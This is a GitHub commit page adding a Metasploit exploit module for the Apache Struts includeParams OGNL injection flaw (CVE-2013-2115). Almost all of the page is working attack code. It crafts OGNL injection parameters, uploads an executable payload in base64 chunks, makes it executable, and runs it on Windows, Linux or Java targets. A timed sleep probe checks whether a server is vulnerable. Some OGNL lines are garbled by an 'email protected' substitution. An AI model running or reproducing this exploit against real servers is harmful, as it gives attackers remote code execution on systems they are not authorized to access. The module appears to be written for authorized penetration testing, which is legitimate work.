Skip to content

Commit a7a754a

Browse files
author
jvazquez-r7
committed
Land rapid7#1870, @Console exploit for Struts includeParams injection
2 parents 9c77143 + eb4162d commit a7a754a

File tree

1 file changed

+194
-0
lines changed

1 file changed

+194
-0
lines changed
Lines changed: 194 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,194 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::EXE
15+
include Msf::Exploit::FileDropper
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'Apache Struts includeParams Remote Code Execution',
20+
'Description' => %q{
21+
This module exploits a remote command execution vulnerability in Apache Struts
22+
versions < 2.3.14.2. A specifically crafted request parameter can be used to inject
23+
arbitrary OGNL code into the stack bypassing Struts and OGNL library protections.
24+
},
25+
'Author' =>
26+
[
27+
'Eric Kobrin', # Vulnerability Discovery
28+
'Douglas Rodrigues', # Vulnerability Discovery
29+
'Coverity security Research Laboratory', # Vulnerability Discovery
30+
'NSFOCUS Security Team', # Vulnerability Discovery
31+
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
32+
],
33+
'License' => MSF_LICENSE,
34+
'References' =>
35+
[
36+
[ 'CVE', '2013-2115'],
37+
[ 'CVE', '2013-1966'],
38+
[ 'OSVDB', '93645'],
39+
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-014'],
40+
[ 'URL', 'http://struts.apache.org/development/2.x/docs/s2-013.html']
41+
],
42+
'Platform' => [ 'win', 'linux', 'java'],
43+
'Privileged' => true,
44+
'Targets' =>
45+
[
46+
['Windows Universal',
47+
{
48+
'Arch' => ARCH_X86,
49+
'Platform' => 'windows'
50+
}
51+
],
52+
['Linux Universal',
53+
{
54+
'Arch' => ARCH_X86,
55+
'Platform' => 'linux'
56+
}
57+
],
58+
[ 'Java Universal',
59+
{
60+
'Arch' => ARCH_JAVA,
61+
'Platform' => 'java'
62+
},
63+
]
64+
],
65+
'DisclosureDate' => 'May 24 2013',
66+
'DefaultTarget' => 2))
67+
68+
register_options(
69+
[
70+
Opt::RPORT(8080),
71+
OptString.new('PARAMETER',[ true, 'The parameter to use for the exploit (does not have to be an expected one).',rand_text_alpha_lower(4)]),
72+
OptString.new('TARGETURI', [ true, 'The path to a vulnerable struts application action', "/struts2-blank3/example/HelloWorld.action"]),
73+
OptEnum.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST','GET', ['GET','POST']]),
74+
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
75+
], self.class)
76+
77+
#initialise some base vars
78+
@inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}"
79+
@java_upload_part_cmd = "#f=new java.io.FileOutputStream('FILENAME',APPEND),#f.write(new sun.misc.BASE64Decoder().decodeBuffer('BUFFER')), #f.close()"
80+
end
81+
82+
def execute_command(cmd, opts = {})
83+
inject_string = @inject.gsub(/CMD/,cmd)
84+
uri = normalize_uri(target_uri.path)
85+
req_hash = {'uri' => uri, 'version' => '1.1', 'method' => datastore['HTTPMETHOD'] }
86+
case datastore['HTTPMETHOD']
87+
when 'POST'
88+
req_hash.merge!({ 'vars_post' => { datastore['PARAMETER'] => inject_string }})
89+
when 'GET'
90+
req_hash.merge!({ 'vars_get' => { datastore['PARAMETER'] => inject_string }})
91+
end
92+
93+
# Display a nice "progress bar" instead of message spam
94+
case @notify_flag
95+
when 0
96+
print_status("Performing HTTP #{datastore['HTTPMETHOD']} requests to upload payload")
97+
@notify_flag = 1
98+
when 1
99+
print(".") # Progress dots
100+
when 2
101+
print_status("Payload upload complete")
102+
end
103+
104+
return send_request_cgi(req_hash) #Used for check function.
105+
end
106+
107+
def exploit
108+
#Set up generic values.
109+
@payload_exe = rand_text_alphanumeric(4+rand(4))
110+
pl_exe = generate_payload_exe
111+
append = false
112+
#Now arch specific...
113+
case target['Platform']
114+
when 'linux'
115+
@payload_exe = "/tmp/#{@payload_exe}"
116+
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
117+
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
118+
when 'java'
119+
@payload_exe << ".jar"
120+
pl_exe = payload.encoded_jar.pack
121+
exec_cmd = ""
122+
exec_cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
123+
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
124+
exec_cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
125+
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
126+
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
127+
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
128+
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
129+
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
130+
when 'windows'
131+
@payload_exe = "./#{@payload_exe}.exe"
132+
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
133+
else
134+
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
135+
end
136+
137+
print_status("Preparing payload...")
138+
# Now with all the arch specific stuff set, perform the upload.
139+
# Need to calculate amount to allocate for non-dynamic parts of the URL.
140+
# Fixed strings are tokens used for substitutions.
141+
append_length = append ? "true".length : "false".length # Gets around the boolean/string issue
142+
sub_from_chunk = append_length + ( @java_upload_part_cmd.length - "FILENAME".length - "APPEND".length - "BUFFER".length )
143+
sub_from_chunk += ( @inject.length - "CMD".length ) + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length
144+
case datastore['HTTPMETHOD']
145+
when 'GET'
146+
chunk_length = 2048 - sub_from_chunk # Using the max request length of 2048 for IIS, subtract all the "static" URL items.
147+
#This lets us know the length remaining for our base64'd payloads
148+
chunk_length = ((chunk_length/4).floor)*3
149+
when 'POST'
150+
chunk_length = 65535 # Just set this to an arbitrarily large value, as its a post request we don't care about the size of the URL anymore.
151+
end
152+
@notify_flag = 0
153+
while pl_exe.length > chunk_length
154+
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
155+
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
156+
append = true
157+
end
158+
java_upload_part(pl_exe,@payload_exe,append)
159+
execute_command(chmod_cmd) if target['Platform'] == 'linux'
160+
print_line() # new line character, after progress bar.
161+
@notify_flag = 2 # upload is complete, next command we're going to execute the uploaded file.
162+
execute_command(exec_cmd)
163+
register_files_for_cleanup(@payload_exe)
164+
end
165+
166+
def java_upload_part(part, filename, append = false)
167+
cmd = @java_upload_part_cmd.gsub(/FILENAME/,filename)
168+
append = append ? "true" : "false" # converted for the string replacement.
169+
cmd = cmd.gsub!(/APPEND/,append)
170+
cmd = cmd.gsub!(/BUFFER/,Rex::Text.encode_base64(part))
171+
execute_command(cmd)
172+
end
173+
174+
def check
175+
print_status("Performing Check...")
176+
sleep_time = datastore['CHECK_SLEEPTIME']
177+
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
178+
t1 = Time.now
179+
print_status("Asking remote server to sleep for #{sleep_time} seconds")
180+
response = execute_command(check_cmd)
181+
t2 = Time.now
182+
delta = t2 - t1
183+
184+
185+
if response.nil?
186+
return Exploit::CheckCode::Safe
187+
elsif delta < sleep_time
188+
return Exploit::CheckCode::Safe
189+
else
190+
return Exploit::CheckCode::Appears
191+
end
192+
end
193+
194+
end

0 commit comments

Comments
 (0)